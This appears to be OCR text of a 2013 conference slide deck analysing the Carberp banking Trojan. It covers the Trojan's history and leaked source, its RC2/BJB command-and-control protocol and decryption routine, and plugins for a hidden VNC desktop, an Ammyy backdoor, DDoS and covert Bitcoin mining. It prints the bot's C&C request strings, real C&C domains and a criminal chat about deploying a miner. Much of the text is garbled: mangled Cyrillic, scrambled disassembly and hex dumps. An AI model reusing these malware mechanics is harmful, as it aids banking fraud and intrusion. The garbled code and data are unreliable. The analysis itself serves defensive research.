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The story of the “Banking Trojan”
Communication protocol
Evolution of the plugin support
Technical analysis of features:

» Backdoor capabilities (Remote Desktops)
» Bitcoin mining module

» Modifying remote banking interfaces in Java
Conclusion
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» Core features:

»  “Banking Trojan” definition: any bot containing a form of
specific information stealing

» Carberp is a banking Trojan in a strict sense

» Remote Banking Interfaces:

»Web pages (attacked through Man-in-the-Browser, both form
grabbing and webinjects). Many banks targeted.

» Executable interfaces (specific plugins; hooked

EnumChildProcesses with GetWindowText involved); iFOBS
banking system; online traders.

» Java interfaces (modifying payment modules on-the-fly)
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Introduction

Carberp as a mainstream Trojan:

“Cybercrime in Russia: Trends and issues”, CARO
Workshop 2011

“The Carberp crimekit and the reshipping incident”, Virus
Bulletin, 2012

“Carberp Evolution and BlackHole: Investigation Beyond the
Event Horizon”, CARO Workshop 2012

“Targeted attacks on Russian banks”, CARO Workshop
2013

(academic paper) Dolmans R., Katz W.: “RP1: Carberp
Malware analysis®, System and Network Engineering,
University of Amsterdam, 2013

“Dissecting Banking Trojan Carberp”, RSA Europe, 2013
(the first talk after the leak of source code)
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» The story:
» The first appearance in autumn 2010

» The split into two main branches in spring 2011 (RC2 resp.
RC4 communication protocol)

» Arrest of a group of cybercriminals in March 2012 (RC4
branch ended)

» Carberp in Android in December 2012

» Arrest of the second group of cybercriminals in April 2013
(RC2 branch faded away)

» The leak of Carberp source code in June 2013
» New C&C servers seen alive in September/October 2013
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» Number of observed C&C domains
» ~80 domains for the initial version
» ~60 domains for the RC4 branch
» ~800 domains for the RC2 branch (still alive)

» Estimate of distribution based on telemetry:

Y
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The Carberp Leak

The Carberp leak (June 2013):
Unpacked ~5,8 GB
Source code validates previously published analyses

Contains not only the source code, but also screenshots,
communication and debug logs, etc.

Source code related to other Trojans (ZeuS, Rovnix )

Malware tools (SpyEye, RDPDoor, Stoned bootkit
framework/Sinowal/Mebload, BlackEnergy/Phdet,
Olmarik/Alureon)

Cryptors (Mystic Compressor)
Most of targeted RBIs
Log of network traffic from 20" April 2012
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» Conversation log: (1/2)

npueeT

BanenTuH (13:37:55 8/03/2013)
A 3anun Ha TN B nanky bitcoin gnnky

BaneHTuH (13:38:09 8/03/2013)
B 0bLWem nges Takas

BanexTuH (13:38:56 8/03/2013)
6ot ckauneaeT 1 pacnakoebieaeT hitp://ck kolivas.org/apps/cgminer/cgminer-2.10.5-
win32.7z

BaneHTuH (13:39:07 8/03/2013)
nyJlle HaBepPHOE U3 aAMUHKM Ero KaqaTb B Kabe

BaneHTuH (13:39:36 8/03/2013)
pacnakoBbIBaeT Ha AUCK Kyga-HuDyap, HanpuMep kak 0BeluHo B nanky appdata

BanexTuH (13:39:59 8/03/2013)
Janblue ckauuBaeT 3Ty AN ToXe NNariHoM U 3anyckaeT B NaMaTy

BaneHTuH (13:40:46 8/03/2013)
B ANN HaAo nepefarth CNWCOK AOMEHOB, koTopblid 6bin BlLKT B BoTa Bungepom, Haao
OTAenbHbLIM CMIMCKOM 3TO CAenaThb B bungepe

BanexTuH (13:41:14 8/03/2013)
1 NepefaeT NyTb 4O Nanku C pacnakoBaHHbIM MaiiHepoM
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Valentine ( 03/08/2013 13:37:55)
| filled in a folder on FTP bitcoin dllku

Valentine ( 03/08/2013 13:38:09 )
in general, the idea of such a

Valentine ( 03/08/2013 13:38:56 )
bot downloads and unpacks http://ck.kolivas.org/apps/cgminer/cgminer-2.10.5-
win32.7z

Valentine ( 03/08/2013 13:39:07 )
probably better to download it from the admin area in cables

Valentine ( 03/08/2013 13:39:36 )
decompresses the disk somewhere , such as is usual in the folder appdata

Valentine ( 03/08/2013 13:39:59 )
then download this dll plugin and also runs in memory

Valentine ( 03/08/2013 13:40:46 )
dll should be transferred to the list of domains that was sewn into the bot Builder, it is
necessary to make a separate list is in bildere

Valentine ( 03/08/2013 13:41:14 )
and passes the path to the folder with the unpacked miner




» Conversation log: (2/2)

BanentuH (14:10:33 8/03/2013)
"c:\miner\cgminer.exe"

BanentuH (14:13:53 8/03/2013)

BOT 3TOro MaliHepa Hago caenaTb 40 KOHUa Hegenu, a To Yen KTo 3akasan GygeT Ha
MEHS OYeHb 3MUTLCA, yeneewwb?

BanentuH (14:15:42 8,
eLle MOMEHT TaKoW, Me
BUAEOKaAPTON, NO3TOMY

e @qip.ru (14

0K, 3a cybboTy-BOCKDE!

Valentine ( 03/08/2013 14:10:33 )
"c: \ miner \ cgminer.exe"

Valentine ( 03/08/2013 14:13:53 )

miner 's this have to do before the end of the week, and then the people who ordered
will be very angry at me , have time ?

Valentine ( 03/08/2013 14:15:42 )

even a moment , a miner works only on a computer with a normal video card , so do
not start virtualke

IR C) qip.ru (14:56:12 8/03/2013)
OK, for Saturday and Sunday do
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» Debugaqing process: (1/2

APM "Kawent” AC "Kanenr-Che pbank™

v

T OTnpaeneHo k

Moanuce owMEKK

AppName: weint.exe AppVer. 7.12.5.2225 ModName: unknown
Modver: 0.0.0.0  Offset: 1000250c

CeegeHua of oTyere
Otyer 06 owubke coaepxkut ceeaeHua o cocToanud APM "Kauent" AC "Kauenr-CéepSaHk' npu
BOSHUKHOBEHWW OWMEKM, BEPCUW ONEPaUMOHHOI CUCTEMBI U 060pYA0BaHUM, HOMED NPOAYKTA,
KOTOPBINA MOKET GbiTb MCMNOAB30BaH AR ONPEAENEHUA AMUEH3UM, a Takske IP-aapec KomMnbloTepa.

Mbl He coBUpaEM YMBILUAEHHO BALUW Paiinkl, UMA, AAPEC W AGBIE APYrke AWYHBIE AaHHbIE. DaHaKko
OTYET 06 OWMOKE MOKET CONEPKATE TaKWEe CEEAEHWURA, HaNPUMED U3 OTKPBITbIX haiNos. XOTA 3TH
CBEAEHUA MOryT GbiTb NOTEHUMANEHO UCNOAb30BaHE! A4 YCTSHOBAEHWA BALEN AMYHOCTH, B CAYYaE
WX NPUCYTCTEUA B OTYETE OHWM MCMONB30BATECA HE GyayT.

CofpaHHbie gaHHbIE UCMOAB3YIOTCA TOABKO AAA YCTPaHeHUA Henonaaku. Mmewwueca
AOMNOAHUTENBHEIE CEEAEHWA GYAYT BBIAAHEI NOCAE OTNPaBKM oTyeTa. OTyer oTnpaendeTca no
33U EHHOMY KaHany B 633Y AaHHBIX © OFPaHWYEHHBIM 4OCTYNOM W HE UCMOABSYETCA B
KOMMEPYECKUWE LENA.

115 NPOCMOTPa TEXHWYECKUR CBEAEHWIT 0f OTYETE {EAKHUTE 306Ck:
InA NnpocMoTpa NoAWTHKK ctopa AaHHbIX B MHTEepHeETE  WenkHUTe 3aeck. 3aKpefe

extOuti hook ok.
T - extOutlW hook ok.
86 600.37603?60[3816] Sber(0) [ ] : EnumPrintersi hook ok.
87 600.38665771 [3816] Sber(0) [ 1 : GetSaveFileNamed hook ok.
88 600.39367676 [3816] Sber(0) [ 1 : GetOpenFileNamei hook ok.
89 600.39599609 [3816] Sber(0) [ ] : nuwem Buguo.
90 600.39984131 [3816] VIDEO(0) [ 1 : StartRecordThread
91 600.41595459 [3816] VIDEO{O) [ ] : Bce noayyuau, menepe cmnapmnyeM Buge
.58959961 [3816] VIDEQ(OD) [ 1 : caame gaHme
.59606934 3816 VIDEO( O . Bce zomoBo szanycraemM
E, b27.59692 3 [3816]1 =tart send folder
95 ?07.86682129[3816] end send folder
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| %] GetDirs.DLL
|2} ImpBorl.DLL
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ST - S o4
< Q @ xp (Olly Error 2) [PaboTaeT] - Oracle VM VirtualBox

TEaGaEds] Lo ETH
omdGdGdd| S5 FLSH EBF
SEdGaE4E| SBEC HOL EBP, ESP £
cEdGacaT| GIEC 14 SUB ESP, 14 Eq poomaes
omdadz4n| Se FUSH Esi Eo
4E| BE £RER438@ MOU ESI, tet.@B436R668 |
S T Ecr iEiEEag
tst.
ESI BE4ZEAGE tot.OR436R60
4G4356| 59 FOF_ECH
EOl Poapacma
=7| gaca TEST AL,AL
4095t -BESd pEmmEmER | JE bor.h . BE4E4T 1A EIF BB4B48AS t=t.B04043AS
C B ES B@23 S2hit @ FFFFEFFE]
4G4Gea| 57 FOSH EnT :
E5 cADEA1EE CALL t=t.B0421E08 £Lo2E ERlE =i SEEEEEEEEE
EhaEl e FBOTDMORD PTR S5: CEEP—41, EA% 2 BEogoes Sepin glEEEEEEE
: . £ 5 FE Bess EbiT ZRFRTEGRIFER
ES GR4bamaa CALL tot.ARdaasyh 2o EfoEEEs el
72| E5IE Fe EHBHDBHgEDFﬁ;RSgSEEEP 183, b
2
0 8 LastErr ERROR_SUCCESS (90900808)
72| ER Zivoeiea CALL t=t. o@diBan
cre| es FOSH Tor:BB4sE1ns ASCIT ™ditmdoHk™ EFL BEABAZAE (MO, ME,ME,A, NS, FE, GE, )
FE7S Fia FUSH DWORD FTR_5%: [EBF—1@1 B
5345 Fa HOL OWORD FTR S5: [EBF-21,EAX e
8045 Fi LEA ER%, OWORD PTR S5:[EBF-21 S1L Emery 2ed
FE7s Fe FUSH BubRo PTR So: CEBRP-43 SIS erpty 8.8
: 5T4 empty B.8
fEaGazan| ES 1EG]G@E@ CALL t=t.AO4aRoEsa ard emety 2-2
coacazoz| FRPS FE FUSH DWORD FTR 55: [EBF—S1 S1E EnEry B
STV empty B.8
OEIGIEEE| S0 FUSH EAX
foiciooc| 8 cesmeeen | GALL sev. opdoRzss FST o920 Cond b 8 8 Erc BB 18A68 & (6T
R how EDI.ERA Fow BBoF Frec NEPREZ stk 111111
GR GG ADD ESF,z8
ZE1F CHP EYTE FTR DS:[EDII1.EL ~
e
Haz.host
fEzshest g | vrocnosa
= L=
select R
SSEI #* 1@ 1a
s pEsoun
SodsEnss 212, Aocoun EEF £| Rsc1 < 1A | EBECE S0S0RLES
R SECunE. 454024 RETURN o tst.DB4B4924 from tst.OB404044
SgdsEnas siZiniin i FETURN fto tot.O@d0dAB0 from tot.BE4a451F
2 FETURN to tet.@@413F7E fram tot.BE4E4AE2
2 St a7bA5
=] yhp.dat . ntdll.Zwiuerullaluskey
4 ZRAGS il doe Bt .
] A
4 EEEG a.foHite
roSalbaaa
.

mstartl (QE Httpanalyzerstdva I * DebugWiew on VYWUISER-F. .. I a =14
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» Atypical POST request:

POST
/kmagkcicalxrntrngwdxjyxztxcgkoyjnbdoafgirgnwwvpcjggluco
vna.phtm HTTP/1.1

Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: caaarrp2.ru

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 60

» Content:

kfq=u%2FFPGlelmmXBEb3mG5VomEqE9ivVw2uh550qE1K?2
LogWflkbTeN%3D
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Communication Protocol

Steps of decryption:
Substitution to unsafe characters:

kfg=u/FPGlelmmXBEb3mG5VomEgE9ivVw2uh550qE1K2Loq
WTflkbTeN=

Extraction of a cryptographic salt for RC2:
u/FP + bTeN
Extraction of an encrypted message:
GlelImmXBEb3mG5VomEQE9ivVw2uh550qE1K2LoqWH)
Debase64 and RC2 decryption with a hardcoded key
(optional) a custom algorithm for data containing a header
beginning with “BJB”
Result:

botuid=<prefix>0<hash of victim’s environment>
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» Custom BJB algorithm:

unsigned int decryptBIB({uint8_t* auBKey, uintB8_t* auBCipher, uint32_t u32Datalen

{
unsigned int j3
uint8_t v4;
int i;
j=8;
if ( u32Datalen )
{
do
{
wid = ¥guBKey;
for ( i = @; vd; ++i )
{
auBCipher[§] "= vd4 + i * §;
vd = auBKey[i + 1];
}
++3;
}
while ( § < u32Datalen );
}
return Jj;
}
RSACONFERENCE
EUROPE 2013

Key
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39

Cipher:

Plain:

0x7C
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39

0x4D(‘M’)  Ox5A(‘Z’)

0x1B
0x31
0x33
0x35
0x37
0x39
0x3b
0x3d
0x3f
0x41

0xA9
0x31
0x34
0x37
0x3A
0x3D
0x40
0x43
0x46
0x49
0x90




Payload encrypted in BJB format:

gaBaBAa80e:
gepeep10:
B00080620:
fa00Ba30:
faB0BaLe:
f000Bes0:
BaBava6a:
ﬂﬂﬂﬂﬂﬂ?ﬂ:

BJB header structure (data follow):

89
a
B1
3aF
58
45
[I1H

1
1
c1
SE
32
61
RE

70
B9
F9
83
59
DB
oD

21 F1
D1 F1
11 N
5F B1
E1 83
B4 D1
4 1F

DA
D1
1
25
3E
A3
1C

1132 33 34 35 36 37 38 39

F9? B1|C1 61
B2 71|61 61
9 B1|C1 21
B8 3C|Ca 99
1E 43|68 BC
4C 9F|C1 a8
F4% 3B|ES 21

typedef struct HEADERBJB

{

char au8Magic[3], //'BJB’

890
69
a9
28
A9
ﬂ?

B1
i1
31
3D
D2
51
31

cA
61
F9
1M
28
25
5}

31 29
31 a9
31 29
98 1D
5F 47
7E 5A
31 29

Eh
B1
31
Lo
SE
M
31

uint32_t u32KeySize, //length of au8Key

uint8_t au8Key[O0]

I
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Communication Protocol

BJB. 1234546789
| -EQ249qe~B©qZNE1
2y ARGxhazed1)1
1nqﬂnﬂqqaalqa1

+nud1dy+ﬂ' 14131
?2° %R (==Y

X2va>.ciSeN 6"
Eall ﬂkLzHE-u%”Z
iert..6;ir.1.1)1

o avast!’
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Communication Protocol

The file wndsksi.inf contains a list of available plugins

After decryption using BJB algorithm with a hardcoded
key “GDlet64E"” (example from August 2013):

RtlExt.plug | vXdwV89SFZ1hs.tiff
addtrust.plug|zG3ktXgcVbNKhR5v1Snw48H7pxmZBQTr.omp
bki.plug|gr1z4v8TV.psd
bot.plug|z)yZx0aVGDmMHFWNQ29AXKSMbncp.bmp
btc.plug | veCQPTWmrDRGKX0aNAz6dZkSMpxs1tw.tiff
btcm.plug | rnSfcRNw5j1WZgDzG76.tiff

ddos.plug | kXJifYCGmKHbDhaw2Mc7ANxy.tiff
fdi.plug|xd73TpG41c.psd

iFOBS.plug | kvrzQg3nTdJKDx2ZPMYfCB.bmp

rdp.plug| GQcTzgS9Y1CJBtpHPnKvkRa.tiff

sb.plug| GQpq0Vs94vdx.tiff

vnc.plug| dsN6QSHYMPb3qgZg7zv5t1rGF8JfW2nh.tiff
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» Early evolution of plugin support:

Aug 2011 passw.plug

ﬁ -
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» Recent evolution of plugin support:

inj_x86.dll

Dec 2012

v

Feb 2013

btem.plug
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ammy.plug

rdp.plug

ifobs.plug

rtlext.plug

iphlpapi.dil




Evolution of Functionality

Carberp for Android (Cltmo)

@ 5554wirtual_android

WIDGETS

APl Demos Browser Calculator Calendar / ¥\

© # F

Clock Custom Dev Settings
Locale

3 &

Dev Tools Downloads Gestures
Builder

’ \
Y

Hardware Keyboa
Use your physucal keyhoard to provide input

Messaging

-
l-l

Settings Speech
Recorder

" RSACONFERENCE
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@ 5554wirtual_android

4EFII

m_ﬁm@

Hardware Buttol
BeeguTte HoMep TenedboHa:

123456789

Do authorization

eyboard
LI v ph)l cal keyboard to provide input

S

CbEPBAHK

Bcer Ad PAAOM

o avast!’
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Evolution of Functionality

Carberp for Android (Android:Citmo, December 2012):

Extending fraudulent activities to mobile devices (multi-
factor authentication)

Contacting the gate url in the form of the first Carberp group
(RC4, the keyword e in the path replaced with m)

http://berstaska.com/m/fol125kepro
http://berstaska.com/m/as225kerto

SberSafe, VkSafe, AlfaSafe application
Removed from Google Play in a short time
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» vnc.plug

»drops a user mode rootkit

»x86 resp. x64 version called tmpl.exe, resp. tmp2.exe
> tmpX.exe

» Executes a new instance of svchost.exe

» Injects an intermediate malicious thread into svchost.exe

» The intermediate thread enumerates all running processes and
injects threads into them, which install APl hooks hiding a secret
desktop

» PIDs of infected processes stored in mutex objects
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Plugin Support

vnc.plug — process listening at port 5900

j_u TCPYiew - Sysinternals: www.sysinternals.com

File ©Options Process Yiew Help

_carberpz_wn
L1 ol e ]
1 igz.exe 224
£ igs.exe 224
] jusched exe 1740
[ lzazs.exe (St
1 lzass.exe BES

TCP
TCP
LDP
LDP

w-trz-winsp
T - LA =
-trE-winp
-brs-winmp
w-trz-winmp. vlab.int. .
w-brE-inNp
w-lrz-winep

we-brz-uinsp [ LISTEMIMG
we-brz-winep 1] LISTEMIMNG
we-brs-winmp 1] LISTEMIMNG
9359917230 http CLOSE wial

RFB (remote framebuffer) protocol signature:

c L WINDOWS system 32 cmd.exe - nc 127.0.0.1 5900

Cantanpiaatcat nc

RFB 003 . 006

127.8.8.1 5984
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B[] services exe
B[] svchost exe

[F]svchast.exe
B[] gvchost exe

i secret_desktop

vnc.plug user mode rootkit:

ght¥NC Yiewer

Plugin Support

[T wsertfy.exe

[ svchost.exe
[ zvchost exe
[T zpoolsv.exe
[ svchost.exe

Fias.exe
[ 5hieSve.exe

@VBoxSewice.exe

[ alo.exe
(=] MDM EXE

[ svchast.exe

[ PFFantCache_v0400.ex

[ lsass.exe

= _é explorer. exe

5# YBoxT ray exe
= 2] jusched exe

E jucheck. exe
5 ctfmon. exe
ShieChl.exe
4 WindowsSearch.exe
¥ procexpexe

= u wireshark exe

o Ex
1)
BEE
=¥ Procmon. exe
CRvIEW. EXE

e bvnvigwier. exe

ZPU Usage: 1.00%.

= Process Monitor - Sysinternals: www.sys
File Edit Ewent Filker Tools Options Help

|commit Charge: 52.17%

H | RBRE | <

A&

Process Mame | O peration

| Path
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[

SEHED N S| @l B @ Q@@ |

TEEEE O E S

Process L3

FID [ CPU [ Description

| Company Mame

™

[ svcho
B[] svcho
[Fws

[ zvcho
[ svcho

[ svcho

[=]HDM.
[ svcho

[Flsass.exe

B ' erplorerexe

[ zpoals

[igs.ex
Fisbies: _M°
§A WBoxE

[ alg e

[ wPFF

B[] services.exe
B[] svchost.exe

Edit  Mizw Help

B5E
az4

Services and Controller app Microzoft Corporation
Genenc Host Process for Wi, Microzoft Corporation

Calculator = =1 ’t Process for'wi.. Microzoft Corporation

t Process for Wi, Microzoft Corporation
curity Center Mo.., Microsoft Corporation

0. b Process for'wi.. Microsoft Corporation
t Process for Wi Microsoft Corporation
Microsoft Corporation
t Process for Wi, Microzoft Corporation

ick Starter Servi... Sun Microspstems, Inc.

sart | ervice SAMDBOXIE LT.D
| uest Additions 5. Sun Microsystems, [nc.

| ayer Gateway 5. Microsoft Corporation

Micrazaft Corparation
t Process for Wi, Microzoft Corporation

Microsaft Carparation
Microsoft Corporation

plorer Microsoft Corporation

A VB onTray. exe
= ﬁ juzched. exe
[ jucheck exe
ctfmon. exe
& SbieClil.exe
4~ windowsSearch.exe

Y procexp.exe
2 [l wireshark. exe

[T tmpT . exe

= _J explorer exe

¥ procesp. exe
= calc.exe

CPWIEW. EXE

fisae] v nviewer exe

1976

2596
3564
3868
3754
2152

VirtualB ox Guest Additions Tr... Sun Microsystems, Inc.

Sun Microsystems, Inc.
Sun Microsystems, Inc.
Microsoft Corporation
SANDEORIE L.T.D

‘windows Search System Tray  Microsoft Corporation

I Backspace CE C System App
| 2| o] o] /]
MFil 4 | 15 | E | | %
buig M
MSl 1|2|3| |1m o) L
e_v0400. exe
M+| 0 | +""l | = | wport Yersion]
1732
1740 Java[Th] Platform SE binary
1084 JavalTh) Update Checker
1808 CTF Loader
1832 Sandboxie Caontraol
1844
2844 Syzinternal: Process Explorer
3052 ‘wireshark

Dumpcap

Process Monitor

5.00 Windows Explorer
7.00 Syzinternals Process Explarer

Syzinternals - v sz
The “Wireshark develap
The ‘wireshark develop

Syzinternals - v syg

Microsoft Corporation
Sysinternals - s sysi

10.00 Windows Calculator applicati... Microsoft Corporation

TCR/UDP endpoint viewer
Tight' N C iewer

Sysinternals - v sysi
GlavSoft LLC.

o avast!’

be free



Plugin Support

vnc.plug user mode rootkit (deactivated):

E avchost exe
[ PFFontCache_+0400
[ lsase.ene

= ' explorer exe
oA VBT ray.exe

= uzched exe
jucheck. exe

4 ctfmon, sue
B SbieChl exe
4 WindowsSearch.exs

L procesp.exe
= “ wireshark. exe

(2§ Pracron. exe
= E_carberp2_vnu:_|:ulug_mrNi:-:HG
= _‘5 explorer exe

2 procexp exe

| calc. ene

oy | CEVIEW. EHE
] berviswer exe

“PUUsage: 14.85% |C|:ummit Charge; 45,472
]

—

File Edit
==

Proceszs Mame | Operation

Event Fiker Tools Ophkions H

ABRE | o4&

| Path

RSACONFERENCE
EUROPE 2013

= Process Monitor - Sysinternals: www.sf 10

| & 22 o A Bz & G @ & |FH

(1l dumpcap

= _.é explorer.exe
& procexp.exe

=Ly

0 L
s | CPVIER EXE
el berviswer exe

y H#RSAC

15932

E;chust.e:-:e 1032 Genenc Hozt Process for Wi Miciozoft Corporation
E zvchost exe 1064 I:ﬂieneric Hozt Process for Wi, Microzoft Corporation
E sponlsy. exe 1588 Spoaler SubSystem App Microzoft Corparation
E zvchost exe 144 Generic Hozst Process for Wi.. Miciozoft Corporation
E |z Ene 224 JavalTh] Quick Starter Servi.. Sun Microsystems, [nc.
[ 5bieSve.exe 288 Sandbosie Service SaMDBEO=IE LT.D
@UBDHS Evice exe 444 YirtualBox Guest Additionz 5. Sun Microzystems, [nc.
E alg.exe 2072 Application Layer Gatewayp 5... Microzoft Corparation
E MOM.EXE J608 Machine Debug Manager Microzoft Corparation
E wvchost exe 2540 Generic Hozt Process for Wi.. Microzoft Corporation
EWF‘FFDntEache_VMDD.e:-:e 3380 wplfontcache w0400 exe Microzoft Corparation
E lzazz exe (51t LSA Shell [E=part Y ersion) Micrazoft Corparation
= _1} explorer. exe 1440 ow Windows Ewplorer Microzoft Corporation
iA YBoxTray.exe 1732 WirtualBox Guest Additions Tr... Sun Microsystems, Inc.
B 2] jusched exe 1740 JavalTh] Platfarm SE binary  Sun Microsystemsz, [nc.
jucheck. exe 1084 JavalTh] Update Checker Sun Microspsteme, Inc.
ctfmon. exe 1808 CTF Loader Microzoft Corparation
@ Shieltl.exe 1832 Sandboxie Contral SaMDBOXIE LT.D
, WindowsSearch.exe 1844 “windows Search System Trap Microzoft Corporation
L procesp.exe 2844 1.00 Sysintermals Process Explorer  Spanternals - wiana, syzin
=) “ wireshark exe 052 Wwireshark The wirezhark develope

Dumpcap

Frocessz Monitor

B.00

5.00 *Windaws Explarer

2.00 Spzinternalz Proceszs Explorer

2.00 windows Calculatar applicati...
TCRAUDP endpaint viewer
Tight'MC Wiswer

The wirashark develope
Syzinternals - v spgin

Micrazoft Corporation
Syzinternals - v, spgin
Microzoft Corparation
Syzinternals - wiana s0gin
GlawSoft LLC.
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Plugin Support

vnc.plug user mode rootkit (deactivation):

c. Hiew: _carberp?_wnc_plug_mrNjxHGSTSDNBROP3dY¥Y v 1FK tiff.dec.unp

-AB481 AEF -
-A8481AF4:
-AB481aFA -
-A8481AFF =
-A8481 BAS -
- 38481 BA6 =
-A8481 BAC =
-A8481B11 =
-AR4A1B12 -
ARAGRL P12 -
-.AR4A1B19 -
~HOIMLBLES
-AB4A1B23 -
-A8481 B25 =
-AB4Aa1B27:
-A8481B29 =
-AB481 B2F -
-A8481B3A:
-AB4A1B31 -
-A8481B37 =
-AB481B3C:
-A8481B3F:

6806800084
FF15
62HA40000804
FF15

5A

FF15

68

53

53

FEiLC
48 F6 FFFF
L& Bb i Fuann
g4ca

83C48C
63

1 2FilB1k 3Cr
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_ajl PE _AW401B19 |Hiew 8.13

= F

]
SetErrorMode

;J E r
GetCurrentProcess
BaAX

SetPriorityClass

s'UNC Protectio

ehx

ehx

Mac 2t oMol
=1
¥

al.al

c+ Hiew: _carberp?_vnc_plug_meNjxHGsTSDNBROP3dY Y~ 1FK tiff.dec.unp

CcSEN

: 6800880080
: FF1%
68A8408008

78789267678
EG Bb 1ruaag
g4ca

747D

6A'7E
ggﬂE?CFFFFFF

58
899078 FFFFFF
E868318208

a2 PFE WOPHAF1E |Hiew 8.13 <c)SEN

Jle
puzh
call
puzh
call
push
call
push
puzh
push
e i |
nop
call
qest
J=
puzh
lea
puzh
push
mov
call
add
puszh

;70
d, [AAR42618C ] a

d, [AAB426 GBS 1

Bax

d. [AAR426108 1
;' B.?

ehx

ehx
A CARAEADE AGD 1

al,al

T
eax,. [ebpl[-B00BBAAE4 1
ehx
eax
[ehpl1[-ABAABAABE 1. ebx

ESP.

;' BhT”
g ki 16
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Plugin Support

Ammy.plug: Backdoor component based on Ammyy remote
desktop admin

Instruction file ammyy.ddf for command-line utility
MAKECAB.EXE

.Set CabinetNameTemplate="ammy.plug"

ad.exe

iphlpapi.dll

settings3.bin
The cabinet ammyy.plug contains the original Ammyy
remote desktop application aa.exe

Fake DLL pre-loading trick for iphlpapi.dll - it starts aa.exe
In a nogui mode

Settings3.bin contains ID of an attacker, i.e. an identifier of a
computer that is a target of connection

RSACONFERENCE .
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» Ddos.plug: distributed denial of service
» plugin has three commands - start, busy, stop
» start( an attacked domain, a number of threads, messages

per second )
» random referrer names
» predefined TLDs (.biz, .com, .inf, .ru, .ua, .net etc)
» predefined user agent strings (tens of hardcoded choices)
» chooses GET, HEAD or POST request:

| : i — | :
push offset aGet  U"GET™ | |
jmp short loc_18681DA4 loc_18881D98: “HEAD" [ |1loc_18881D9F: “POST™

- push offset aHead push offset aPost
jmp short ll].[:i1ﬂﬂﬂ1DFI!l
* - w
RSACONFERENCE
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Plugin Support

Bitcoin Miner

Multiple components both on client (victim) and server (attacker)
side: admin panel, loader, task updater (btc.plug), regular btc
miner (btcm.plug)

Downloadable parts
btc.plug
— Tiny task updater (9KB)

— Requests a bitcoin job (the config file test.conf) from the
C&C server with admin panel

— Extracts btcm.plug and executes cgminer to do the job

— Communicates locally with cgminer (default port 4028) and
remotely with C&C server to send results

btcm.plug
— a cabinet package containing a regular bitcoin miner

RSACONFERENCE .
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> Bitcoin Miner

push
push
call
add
lea
push
call
push
lea

» Registration to admin panel on C&C.:

offset aGetGetter_ php? ; "GET Jgetter _php?mode=req&id=%08KEos=%s&"_ .

edx
ds :wsprintfa
esp, 18h

;: LPSTR I

; char aGetGetter_ php?[]
aGetGetter_php? db 'GET /getter.php?mode=req&id=%08K&os"

eax, [esp+2B2Bh+O0ulyy —%spuga=%s HTTP/1.1°,0Dh,0AN

eax

db ‘Host: %s',8Dh, BAh

ebx ; "“tP“tDEh“?51dh ‘Connection: close’,BDh,B8Ah

ldb @ph,eah,n

ecx, [esp+ZB24h+0utpucsorIng] i

» Cgminer executed with arguments enabling API requests from localhost

only

-c test.conf --api-listen --api-allow W:127.0.0.1

push
push
mouv
call
add
lea
push
call

» Sending mi

ning results to C&C:

offset ahetﬂetter_ph_ﬂ ; “GET fgetter .php?mode=data&id=%88X&speed" ...

BeCH

- LPSTR I

dvord_1888480
ds twsprintfn
esp, 1Ch

edx, [esp+ZB2
edx

edi ; DutputDy

; char aGetGetter_ ph_8[]
aGetGetter ph_8 db 'GET /fgetter._php?mode=data&id=%08X&speed=%d&all=%d&gqood=%d |
; DATA XREF: send_cgminer_status+DaTo
db *1°,80h, B840
db ‘Host: %s',8Dh,8Ah
db "Connection: close’®,8Dh, 8ah
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» Bot Builder:

(&) Cozpanve pesyneTHpyrowei chopey [ Bepowa: 2.3.1 ] ;IEIEI
—thakn 0z 4aHHE
. 1
Input file I Re— | Co3AaTH chopky

Mo AHEF dakin: |C:'|,temp'|,Bin'|,I:u:ut.plug

KoHedHeI dain: |C:\templBintrytest . plug — - C03A3Tk HACTpaHEaEHyHD Chopky
| Putput file | Open
IEPEﬂtE build

¥ WhhposaTe cTpokkH

T ICHOEHEIE HACTROMKH MoaynH

I'Iped:nm«:l:{mytest % Huntet
MHTEpEAN OTCTYKS {MHH}::II .(nﬂCk Delay |j PeaakTHpOBATE | I Edit I

% 3anHce BHAED i

= - — — Video server |

Fonkoy LI.JHIZIJDDB-EIHHH.IEQ Sosh 1 bc2SHOEsZYbslDkPFIEmFywhhFyog PeAAKTHROBATE

Encryption : :
tdmin Panel setting

BKOCTeL | pus.zika.in :l % HacTpokkk A2

(=
Y PEdaKkTHPOBATE
Hosts

% Moayne BitiCoin

BitCoin Module

PedakTHPOBATE

f o
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Carberp Bot Builder

Changes on the stub for the Bot Builder:

C:stemphBinsbot. plug B I|E:"-.tem|:-'xElin"-.m_l,ltest.plug

ZE010: 00 OO0 OO0 00 00 00 oo oo | _:J ZE010: 00 OO0 OO0 00 00 00 oo oo |

ZE018: 00 00 OO0 OO0 00 OO0 OO 00 | ZE018: 00 OO0 OO0 OO0 00 OO0 OO OO0 |

2E0zZ0: 00 00 OO0 OO0 00 00 OO0 00 | 2E0Z0: 00 00 OO0 OO0 00 00 OO0 OO0 |

2E028: 00 00 OO0 00 00 OO0 OO 00 | 2E028: 00 00 OO0 00 00 OO0 OO0 OO0 |

ZE030: 00 OO0 OO0 00 44 45 40 41 | DELAL ZE030: 00 OO0 OO0 00 31 00 o0 oo | 1
ZEQ2E: 59 EF OO0 00 00 00 00 00 | ¥ 2E038: 00 OO0 OO0 OO0 00 OO0 OO OO0 |

2ED40: 47 4F E4 EF EE 49 44 00 | EOT_UID 2E040: 62 7C 71 60 76 71 00 00 | kil wa
2E048: 00 00 OO0 00 00 OO0 OO OO0 | 2E5048: 00 00 OO0 00 00 OO0 OO OO0 |

ZE0E0: 00 OO0 OO0 00 00 00 oo oo | ZE0E0: 00 OO0 OO0 00 00 00 oo oo |

ZEOES: 4D 41 45 4E EF E0 41 E= | MATH DPas 3E0ES: &7 E7 56 3D 7C EC 54 =5 | glW=|%TE
2E060: E3 E7 4F EZ 44 00 00 00 | SWORD 2E060: 44 EE 74 2C 70 &2 7F 4& | DUc=}c0F
2E0G68: 00 00 OO0 00 00 00 OO 00 | 2E068: 00 00 OO0 00 00 00 OO 00 |

ZE070: 00 OO0 OO0 00 00 OO0 o0 oo | ZE070: 00 OO0 OO0 OO0 00 OO0 OO oo |

